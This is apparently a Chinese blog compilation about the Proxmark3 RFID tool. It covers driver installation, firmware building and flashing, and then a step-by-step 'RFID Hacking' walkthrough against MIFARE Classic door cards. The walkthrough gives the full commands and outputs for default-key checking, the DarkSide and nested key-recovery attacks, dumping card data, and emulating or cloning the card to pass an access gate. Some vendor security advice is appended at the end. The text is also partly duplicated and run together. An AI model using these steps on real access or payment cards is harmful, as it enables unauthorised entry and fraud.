&&&&proxmark3 最稳固件834
&proxmark3 最稳固件834
亲测比较稳定的一个PM3版本，适合与全加密M1卡爆破得keyA keyB
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proxmark3 最稳固件834
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Proxmark3使用案例
共286507人围观
，发现 3 个不明物体
Proxmark3介绍
Proxmark3是由Jonathan Westhues设计并且开发的开源硬件，其主要用RFID的嗅探、读取以及克隆等的操作。
其官方网站为： Proxmark3官网： Proxmark3销售网站：
Proxmark3驱动安装及固件更新
以Windows7_X86为例(适用Windows7_X64)
截止目前出厂的零售版Proxmark3全部都是采用较稳定的R486固件以及Proxmark客户端
如果使用了非对应版本或者是Proxmark3官方维基提供的客户端，会出现命令缺失、无法执行命令、程序崩溃等等的后果。 1、下载wiki或者google code上的驱动程序。 2、连接好设备，接入电脑USB。&首次接入会自动安装USB驱动，
因此，设备被识别成了人体学输入设备——USB输入设备，
双击打开USB输入设备的属性，找到位置：Port_#0001.Hub_#0004 （如上图），这个设备就是PM3了。 3、跟新设备驱动
4、安装成功
5、CMD下切换到pm3-bin-r486\Win32目录输入proxmark3进入交互终端。
请注意：驱动正确安装后就可以更新固件了，但是刚拿到proxmark3是不需要更新的，后面的更新操作请慎重选择。
因此，设备被识别成了人体学输入设备——USB输入设备，
双击打开USB输入设备的属性，找到位置：Port_#0001.Hub_#0004 （如上图），这个设备就是PM3了。 3、跟新设备驱动
4、安装成功
5、CMD下切换到pm3-bin-r486\Win32目录输入proxmark3进入交互终端。
请注意：驱动正确安装后就可以更新固件了，但是刚拿到proxmark3是不需要更新的，后面的更新操作请慎重选择。
Windows7下编译固件
首先，我们需要下载 TortoiseSVN以及Proxspace，这两个程序将会是我们最为之重要的环境平台，当我们安装完TortoiseSVN之后，解压Proxspace到下载的当前目录下，然后进入Proxspace目录并且找到pm3目录并右键选择SVN update。
在proxspace的目录下，我们可以找到”run.bat“文件，用文本编辑器打开该文件，并且修改以下参数：
set MYPATH=将此路径改为proxspace现有路径
例如：proxspace解压缩在D盘Proxmark3目录下，那样子MYPATH=D:\Proxmark3\proxspace ，并且把bat最后一行修改为：
msys\msys.bat
然后保存，并关闭文件。
当以上的操作都做完之后，我们就可以进行固件的编译了，首先双击”run.bat“，当弹出窗口后，输入以下命令：
make clean && make all
当所有提示完成后，输入”exit“就完成了！接下来就是更新固件了！
Windows7下升级固件
此步骤只针对懂得如何使用SVN下载最新固件版本下进行操作！所有Proxmark3出厂时已经拥有固件！ 更新bootrom CMD下进入r486文件内的win32目录并且执行
flasher.exe -b bootrom.elf
(提前将Firmware目录内的文件拷入win32目录下) 更新fullimage
执行flasher.exe
fullimage.elf
更新fpgaimage
flasher.exe -b fpgaimage.elf
更新成功以上3个就可以了.不同版本固件和软件使用会导致程序出错,压缩包内有配套相应版本的proxmark3.exe软件,请使用相应版本软件. R486配套是proxmark3.exe软件非prox.exe,直接打开压缩包内win32目录下proxmark3.exe
via:&感谢H4K_B4N分享
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分享每日精选文章???rfid???價格_???rfid???圖片 - 淘寶網记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华
国际大会Defcon传统之一：开锁!因为黑客认为锁也是一种安全挑战。我们在黑客题材电影、电视剧中也常常看到：男主女主利用高超的黑客技能侵入目标公司的网络，甚至利用社会工程学突破门禁防护潜入对方办公地点进行物理攻击，如入无人之境。(神盾局、黑客军团、Who am i 貌似都有类似情节)&&北上广不相信眼泪 16集在这一背景下，我们不经思考：门禁系统作为企业物理第一道屏障，这些硬件基础设施安全是否一直都被忽视?0&01 准备工作&&Linux、Windows环境搭建可参考：RFID Hacking②：PM3入门指南 一文。&&1.1 进入PM3工作终端./proxmark3 /dev/ttyACM01.2 测试天线proxmark3& hw tune # LF antenna: 29.98 V @ 125.00 kHz # LF antenna: 30.39 V @ 134.00 kHz # LF optimal: 36.30 V @ 129.03 kHz # HF antenna: 27.90 V @ 13.56 MHz proxmark3&1.3 设备固件proxmark3& hw ver#db# Prox/RFID mark3 RFID instrument #db# bootrom: /-suspect
15:12:04 #db# os: /-suspect
15:12:11 #db# HF FPGA image built on
at 08:41:420&02 爆破&枚举秘钥2.1 读取卡片proxmark3& hf 14a readerATQA : 04 00 UID : 2c f0 55 0b SAK : 08 [2] TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1 proprietary non iso14443a-4 card found, RATS not supported2.2 执行NESTED攻击，枚举&爆破key:proxmark3& hf mf chk *1 ? tNo key specified,try default keys chk default key[0] ffffffffffff chk default key[1]
chk default key[2] a0a1a2a3a4a5 chk default key[3] b0b1b2b3b4b5 chk default key[4] aabbccddeeff chk default key[5] 4d3a99c351dd chk default key[6] 1a982c7e459a chk default key[7] d3f7d3f7d3f7 chk default key[8] 714c5c886e97 chk default key[9] 587ee5f9350f chk default key[10] a chk default key[11] 533cb6c723f6 chk default key[12] 8fd0a4f256e9 --SectorsCnt:0 block no:0x03 key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:1 block no:0x07 key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:2 block no:0x0b key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:3 block no:0x0f key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:4 block no:0x13 key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:5 block no:0x17 key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:6 block no:0x1b key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:7 block no:0x1f key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:8 block no:0x23 key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:9 block no:0x27 key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:10 block no:0x2b key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:11 block no:0x2f key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:12 block no:0x33 key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:13 block no:0x37 key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:14 block no:0x3b key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:15 block no:0x3f key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:0 block no:0x03 key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:1 block no:0x07 key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:2 block no:0x0b key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:3 block no:0x0f key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:4 block no:0x13 key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:5 block no:0x17 key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:6 block no:0x1b key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:7 block no:0x1f key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:8 block no:0x23 key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:9 block no:0x27 key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:10 block no:0x2b key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:11 block no:0x2f key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:12 block no:0x33 key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:13 block no:0x37 key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:14 block no:0x3b key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:15 block no:0x3f key type:B key count:13 Found valid key:[ffffffffffff] proxmark3&成功获得卡片key。2.3 利用PRNG，执行mifare &DarkSide&攻击proxmark3& hf mf mifare-------------------------------------------------------------------------Executing command. Expected execution time: 25sec on average&&Press the key on the proxmark3 device to abort both proxmark3 and client.-------------------------------------------------------------------------uid(2cf0550b) nt(218e1cd8) par(0000) ks(090a070d060b0501) nr()|diff|{nr} |ks3|ks3^5|parity |+----+--------+---+-----+---------------+| 00 | | c |0,0,0,0,0,0,0,0|| 20 || a | f |0,0,0,0,0,0,0,0|| 40 | | 2 |0,0,0,0,0,0,0,0|| 60 || d | 8 |0,0,0,0,0,0,0,0|| 80 | | 3 |0,0,0,0,0,0,0,0|| a0 || b | e |0,0,0,0,0,0,0,0|| c0 || 5 | 0 |0,0,0,0,0,0,0,0|| e0 || 1 | 4 |0,0,0,0,0,0,0,0|parity is all zero,try special attack!just wait for few more seconds...key_count:0Key not found (lfsr_common_prefix list is null). Nt=218e1cd8Failing is expected to happen in 25% of all cases. Trying again with a different reader nonce...uid(2cf0550b) nt(218e1cd8) par(0000) ks(0dc04) nr()|diff|{nr} |ks3|ks3^5|parity |+----+--------+---+-----+---------------+| 00 || d | 8 |0,0,0,0,0,0,0,0|| 20 | | 1 |0,0,0,0,0,0,0,0|| 40 | | 2 |0,0,0,0,0,0,0,0|| 60 | | 6 |0,0,0,0,0,0,0,0|| 80 || d | 8 |0,0,0,0,0,0,0,0|| a0 || 7 | 2 |0,0,0,0,0,0,0,0|| c0 || c | 9 |0,0,0,0,0,0,0,0|| e0 || 4 | 1 |0,0,0,0,0,0,0,0|parity is all zero,try special attack!just wait for few more seconds...key_count:0Key not found (lfsr_common_prefix list is null). Nt=218e1cd8Failing is expected to happen in 25% of all cases. Trying again with a different reader nonce...uid(2cf0550b) nt(218e1cd8) par(0000) ks(0d040e0e0c010e00) nr()|diff|{nr} |ks3|ks3^5|parity |+----+--------+---+-----+---------------+| 00 || d | 8 |0,0,0,0,0,0,0,0|| 20 | | 1 |0,0,0,0,0,0,0,0|| 40 || e | b |0,0,0,0,0,0,0,0|| 60 || e | b |0,0,0,0,0,0,0,0|| 80 || c | 9 |0,0,0,0,0,0,0,0|| a0 || 1 | 4 |0,0,0,0,0,0,0,0|| c0 || e | b |0,0,0,0,0,0,0,0|| e0 || 0 | 5 |0,0,0,0,0,0,0,0|parity is all zero,try special attack!just wait for few more seconds...p1:0 p2:0 p3:0 key:ffffffffffffp1:29e5f p2:18a2b p3:1 key:b8b2a3c07af9p1:2ba97 p2:19a40 p3:2 key:b5ba0002b5eap1:2c3fd p2:19fb9 p3:3 key:b4b979ba49dep1:3de0e p2:2 key:968a7a09c714p1:3fdf4 p2:25a7a p3:5 key:931b36c268edp1:54f81 p2:3 key:6ecaf371a99dp1:58b75 p2:3 key:bp1:616dd p2:3998a p3:8 key:59747d7fdf41p1:6ab54 p3:9 key:56476bbef406p1:64ae0 p2:3b844 p3:a key:53dc6ee57a91p1:6dc19 p2:40e78 p3:b key:4p1:708f8 p2:42956 p3:c key:3f83eb143dd6p1:7abf0 p2:48987 p3:d key:2e2b8565f96bp1:7b298 p2:48d82 p3:e key:2d70e3e38553p1:8420b p2:4e219 p3:f key:1e238b63e204p1:8ce60 p2:5 key:0f4b7cb380a5key_count:17------------------------------------------------------------------Key found:ffffffffffffFound valid key:ffffffffffffproxmark3&通过这一方式，同样可以获得卡片的key,不过很多时候还是要靠运气，因为不是所有的卡片都存在这种漏洞。如果不存在PRNG漏洞，我们则需要通过嗅探卡片和读卡器之间通信的数据包解出卡片的Key。使用PM3进行中间人攻击嗅探通信数据包的方法可参考：【RFID Hacking③】ProxMark3使用案例：嗅探银行闪付卡信息 ，以及RadioWar团队的 利用Proxmark3监听M1卡交互过程，算出某一区的key0&03 dump卡片数据&数据处理使用上述方法，我们成功获得卡片key,接下来我们便可以使用key导出卡片中的所有数据(dumpdata)proxmark3& hf mf nested 1 0 A ffffffffffff d--block no:00 key type:00 key:ff ff ff ff ff ff etrans:0Block shift=0Testing known keys. Sector count=16nested...Time in nested: 0.030 (inf sec per key)-----------------------------------------------Iterations count: 0|---|----------------|---|----------------|---||sec|key A |res|key B |res||---|----------------|---|----------------|---||000| ffffffffffff | 1 | ffffffffffff | 1 ||001| ffffffffffff | 1 | ffffffffffff | 1 ||002| ffffffffffff | 1 | ffffffffffff | 1 ||003| ffffffffffff | 1 | ffffffffffff | 1 ||004| ffffffffffff | 1 | ffffffffffff | 1 ||005| ffffffffffff | 1 | ffffffffffff | 1 ||006| ffffffffffff | 1 | ffffffffffff | 1 ||007| ffffffffffff | 1 | ffffffffffff | 1 ||008| ffffffffffff | 1 | ffffffffffff | 1 ||009| ffffffffffff | 1 | ffffffffffff | 1 ||010| ffffffffffff | 1 | ffffffffffff | 1 ||011| ffffffffffff | 1 | ffffffffffff | 1 ||012| ffffffffffff | 1 | ffffffffffff | 1 ||013| ffffffffffff | 1 | ffffffffffff | 1 ||014| ffffffffffff | 1 | ffffffffffff | 1 ||015| ffffffffffff | 1 | ffffffffffff | 1 ||---|----------------|---|----------------|---|Printing keys to bynary file dumpkeys.bin...proxmark3&在这一过程中，在PM3当前工作目录下生成了dumpkey.bin文件：&&接下来我们执行hf mf dump便能获得整张卡片的数据：proxmark3& hf mf dump|-----------------------------------------||------ Reading sector access bits...-----||-----------------------------------------|Command execute timeoutSending bytes to proxmark failed#db# READ BLOCK FINISHED#db# READ BLOCK FINISHED#db# READ BLOCK FINISHED#db# READ BLOCK FINISHED#db# READ BLOCK FINISHED#db# READ BLOCK FINISHED#db# READ BLOCK FINISHED#db# READ BLOCK FINISHED#db# READ BLOCK FINISHED#db# READ BLOCK FINISHED#db# READ BLOCK FINISHED#db# READ BLOCK FINISHED#db# READ BLOCK FINISHED#db# READ BLOCK FINISHED#db# READ BLOCK FINISHED|-----------------------------------------||----- Dumping all blocks to file... -----||-----------------------------------------|#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'#db# READ BLOCK FINISHEDDumped card data into 'dumpdata.bin'proxmark3&此时，卡片数据已经被导出到PM3主目录下的dumpdata.bin这个二进制文件中，：&&但是PM3并不能识别、使用二进制文件，我们还需要使用脚本将这一个二进制文件转换成eml格式的文本信息：proxmark3& script run dumptoemul.lua --- Executing: ./scripts/dumptoemul.lua, args''Wrote an emulator-dump to the file 2CF0550B.eml-----Finishedproxmark3&dumptoemul脚本成功将dumpdata.bin二进制文件转换成以卡片ID值命名的eml格式文件：&&我们来对比一下这两个文件：&&效果已经很明显了，脚本已经将乱码的二进制文件转换成了txt文本信息。dumptoemul.lua脚本的功能也可以用Python语言来实现：bin2txet.py#!/usr/bin/pythonfrom __future__ import with_statementimport sysimport binasciiREAD_BLOCKSIZE = 16def main(argv):argc = len(argv)if argc 3:print 'Usage:', argv[0], 'dumpdata.bin output.txt'sys.exit(1)with file(argv[1], &rb&) as file_inp, file(argv[2], &w&) as file_out:while True:byte_s = file_inp.read(READ_BLOCKSIZE)if not byte_s:breakhex_char_repr = binascii.hexlify(byte_s)file_out.write(hex_char_repr)file_out.write(&\n&)if __name__ == '__main__':main(sys.argv)python bin2text.py dumpdata.bin output.txtmv output.txt 2CF0550B.eml清除仿真内存的各区块数据:hf mf eclr把从卡片中导出的数据加载到PM3设备中：proxmark3& hf mf eload 2CF0550BLoaded 64 blocks from file: 2CF0550B.eml使用PM3模拟门禁卡：proxmark3& hf mf simuid:N/A, numreads:0, flags:0 (0x00)#db# 4B UID: 2CF0550Bproxmark3&这时我们可以使用PM3来实现通过门禁。另外一种方式：把从卡片导出的数据从PM3设备内存中克隆到白卡里，使用克隆卡片通过门禁proxmark3& hf mf cload eCant get block: 1bingo0&04 安全建议目前我国80%的门禁产品均是采用原始IC卡的UID号或ID卡的ID号去做门禁卡，没有去进行加密认证或开发专用的密钥，其安全隐患远比Mifare卡的更危险，非法破解的人士只需采用专业的技术手段就可以完成破解过程。门禁厂商、管理员：做好防护工作加强安全意识，尽量避免使用默认key、安全性低的对卡片和门禁读卡器使用身份认证&验证机制，绝对不能直接使用原始IC卡的UID号或ID卡的ID号去做门禁卡!用户：妥善保管自己的门禁卡，避免信息泄露。物联网IOT的高速发展,无线通信技术的应用也日趋广泛。本文仅通过门禁案例揭露NFC、RFID相关协议&技术存在的一些安全隐患。我们现实生活中也有真实存在的案例：2010年北京一卡通被爆存在漏洞，可随意修改卡内余额，个人猜测这里很有可能是通过利用mifare卡片的PRNG漏洞来实现的。2014年，国外安全研究员发现台湾铁路、公交系统的悠游卡(EasyCard)同样存在PRNG漏洞，可修改卡片余额，并向悠游卡公司反馈报告了这一漏洞：&&&
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